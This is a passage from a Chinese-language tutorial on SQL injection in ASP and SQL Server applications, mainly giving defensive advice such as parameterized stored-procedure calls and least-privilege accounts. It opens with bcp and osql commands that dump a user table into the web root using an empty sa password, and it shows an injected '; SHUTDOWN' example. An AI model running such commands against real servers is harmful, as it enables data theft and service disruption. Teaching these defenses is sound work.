bcp northwind.dbo.tblUser out C:\inetput\wwwroot\sqlinject\user.txt -c -Usa -P -SByron-XP
當然,isql.exe 和 osql.exe 也都可以辦到同樣的功能,例如:
osql -Usa -P -SByron-XP -dNorthwind -oc:\inetpub\wwwroot\sqlinject\users.txt -Q"select * from tblUser"
這一類的工具程式可以搭配前文的 xp_cmdshell 延伸預存程序,或是交由利用 sp_OA 系列預存程序建立的木馬 ASP 來執行,都可以達到竊取資料的目的。
對於預防 SQL Injection 的建議
綜合以上各種的侵入技巧,筆者在此歸納一些維護系統安全的建議。
  • 儘量地利用 ASP 或 ASP.NET 在伺服器端檢查與限制輸入變數的型別與長度,過濾掉不需要的內容。要注意的是這些檢查不要放在前端。
    就 算在前端利用 HTML Input 標籤的 MaxLength 屬性,或是以 JScript 撰寫程式來設定欄位長度的限制,只要將該網頁另存新檔,修改內容後(一般只要改寫 Form 的 Action 屬性以及 Input 的 MaxLength 屬性),重新以瀏覽器開啟再執行便可避過這些瀏覽器端的檢查。
  •  ASP 程式登入 SQL Server 的帳號不要使用 sa,或任何屬於 Sysadmin 群組的帳號,避免有過大的權限。
  • sa 一定要有強固的密碼,尤其是 SQL Server 7.0 以前的版本,在裝機時預設 sa 沒有密碼,而一般管理者裝完後也忘了或怕麻煩而不更改密碼。
  • 利用 ADO 的 Command 物件或 ADO.NET 的 SqlCommand class 來透過參數執行 SQL 語法,直接以 ADODB 的 Connection 物件執行預存程序的寫法一樣糟糕。範例如下:
Exec spXXX 參數,…
因為駭客所加入的 SQL 語法一樣可以執行:
Exec spXXX 參數,…;SHUTDOWN
我們可以建立一個預存程序程式碼列表 5
ECREATE PROC spUserAccount
@UserName NVarchar(50),@Password NVarchar(50)
AS
SELECT UserName,Password FROM tblUser
WHERE UserName=@UserName AND Password=@Password
程式碼列表 5:用來找尋符合的使用者帳號密碼的預存程序。
同時將整個 ASP 的查詢換成如程式碼列表 6 的寫法:
<%
If Request("UserName")<>"" And Request("Pass")<>"" Then
Dim cnn,rec,strSQL,cmd
Set cnn=Server.CreateObject("ADODB.Connection")
With cnn
.ConnectionString=Application("Conn")
.Open
End With
'透過 ADODB.Command 物件來搭配預存程序,駭客就無法
'利用組合 SQL 字串的方式來侵入系統
Set cmd=Server.CreateObject("ADODB.Command")
With cmd
.ActiveConnection = cnn
.CommandText = "spUserAccount"
.CommandType = 4 'adCmdStoredProc
.Parameters.Append .CreateParameter("UserName", 202, 1, 50, Request("UserName"))
'202 代表 adVarWChar,1 代表 adParamInput
.Parameters.Append .CreateParameter("Password", 202, 1, 50, Request("Pass"))
Set rec = .Execute()
End With
If NOT rec.EOF Then
Session("UserName")=Request("UserName")
Response.Write "歡迎光臨 " & Request("UserName")
Else
Response.Write "您的帳號/密碼輸入錯誤"
End If
Else
%>
程式碼列表 6:利用 ADODB 的 Command 物件來存取預存程序。
如程式碼列表 6 中灰色的程式碼區塊,將存取 SQL Server 預存程序的方式改以透過 ADODB 的 Command 物件,如此駭客就不能用加入自訂 SQL 的語法來要求 SQL Server 執行額外的動作。
  • 改掉預設的 Web 虛擬路徑,不要使用 IIS 裝好後預設的 <系統所在磁碟>\Inetpub\WWWRoot 路徑,否則利用前述的檔案存取方式,很容易在該目錄下動手腳。
  • 不要顯示錯誤訊息到前端。
    利用 VBScript 語法的 On Error Resume Next,並搭配 If Err.Number<>0 Then 的錯誤處理方式,自行將錯誤重導到適當的錯誤處理網頁,如此系統將更穩固,且駭客也不易透過錯誤訊息來探知系統的內部運作方式。
    或著,也可以修改<系統所在磁碟>\WINNT\Help\iisHelp\common\500-100.asp 預設網頁,最簡單的方式就是將它更改名字3
  •  將用不到但功能強大的延伸預存程序刪除。
  •  監控系統的執行。
  •  防火牆關閉 TCP 1433/UDP 1434 埠(port)對外的連線4
  •  隨時注意是否有新的修補程式要上。
以上是針對 SQL Injection 防護方式的建議,但我們應該謹記於心的是世界上沒有絕對安全的系統,只有自己時時小心,多看多聽駭客們是否有翻新的手法,系統是否有異常的狀況,唯有不斷加強系統的安全措施,才能將危害降至最低。
相關網址
以下是一些關於 SQL 以及系統安全的網址,提供給大家參考。
http://www.microsoft.com/sql/
http://www.microsoft.com/security/
http://www.sqlsecurity.com/
http://www.nextgenss.com/
http://www.atstake.com/
http://www.securityfocus.com/
http://www.appsecinc.com/
註釋:
1 就筆者的觀察,一般的程式設計師多喜歡用 SQL Server 最大的預設帳號 sa 來存取資料。因此給予駭客予取予求的權力。
2 這裡表列的延伸預存程序可以透過 Enterprise Manager 或 Query Analyzer 看到,但是在 SQL Server 線上叢書找不到相關資料。
3 筆者不建議一開始就刪除500-100.asp,因為這會導致很難替程式除錯。建議在程式開發完成上線後,將 500-100.asp 更改名稱。在自行撰寫的 asp 檔首加入 On Error Resume Next/If Err.Number <> 0 Then 等,錯誤處理應該是在程式撰寫時就要注意的程式架構,若為了除錯方便,可以先以單引號讓 On Error Resume Next 語法成為說明。
4 有報告顯示現今有網路蜘蛛專門尋找在網際網路上,可以直接透過 TCP 1433/UDP 1434 埠(port)存取,但 sa 帳號沒有設定密碼的 SQL Server,在找到該伺服器後便利用前述的技巧取得對系統的控制權。